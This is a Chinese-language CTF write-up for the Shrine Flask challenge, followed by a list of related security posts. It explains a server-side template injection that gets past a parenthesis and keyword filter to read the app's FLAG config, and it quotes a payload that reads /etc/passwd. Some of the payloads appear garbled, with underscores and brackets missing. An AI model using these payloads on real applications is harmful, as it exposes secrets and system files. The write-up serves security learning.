[CTF]攻防世界:Shrin(SSTI)

题目:攻防世界:Shrin(SSTI)

提示:题目代码

bash 复制代码
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)
  1. /shrine/路由接收任意路径参数
  2. render_template_string()直接渲染用户输入
  3. 过滤机制:()被删除,config和self变量被设为None
  4. 无法使用 subclasses()、popen() 等带括号的函数
bash 复制代码
无法使用
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

步骤

1. 利用Flask全局函数访问current_app

Payload: /shrine/{{url_for.globals'current_app'.config.FLAG}}

原理:

url_for 是Flask内置全局函数,无需括号即可访问__globals__ 获取函数的全局变量字典(无括号)current_app

指向当前的Flask应用实例app 通过 current_app.config 访问被"隐藏"的配置

2. 利用get_flashed_messages

替代Payload:

/shrine/{{get_flashed_messages.globals'current_app'.config'FLAG'}}

原理:与url_for类似,利用另一个Flask全局函数绕过限制。

相关推荐
宁之明起(B服)4 小时前
vulhub靶场(log4shell)
web安全
迪康Defender5 小时前
政企内网终端安全建设:资产‑管控‑防护‑审计闭环能力拆解
运维·网络·安全·web安全·终端安全管理
Neighbor_OldY5 小时前
【实战复盘】文件上传漏洞检测与应急处置:校验绕过、图片马与WebShell的排查修复指南
运维·前端·web安全
三8449 小时前
Redis未授权访问与四种 getshell 路径(原理 → 实操,因果不断层)
redis·web安全·ssrf·getshell
ByNotD0g10 小时前
跨站脚本攻击- XSS
笔记·web安全
Fnetlink110 小时前
Fnet 云网安 260907
网络·人工智能·安全·web安全·网络安全·智能路由器
Neighbor_OldY11 小时前
【实战复盘】XSS跨站脚本攻击检测与应急处置:存储型/反射型/DOM型从发现到修复的完整指南
网络·安全·web安全
其实防守也摸鱼13 小时前
CVE / NVD 漏洞数据库详解:从入门到实战
大数据·运维·人工智能·web安全·自动化
亚远景aspice13 小时前
亚远景-ASPICE+ISO26262+ISO/SAE21434 融合:仿真验证如何同时支撑功能安全、网络安全与 ASPICE 验证要求
安全·web安全·iso26262·aspice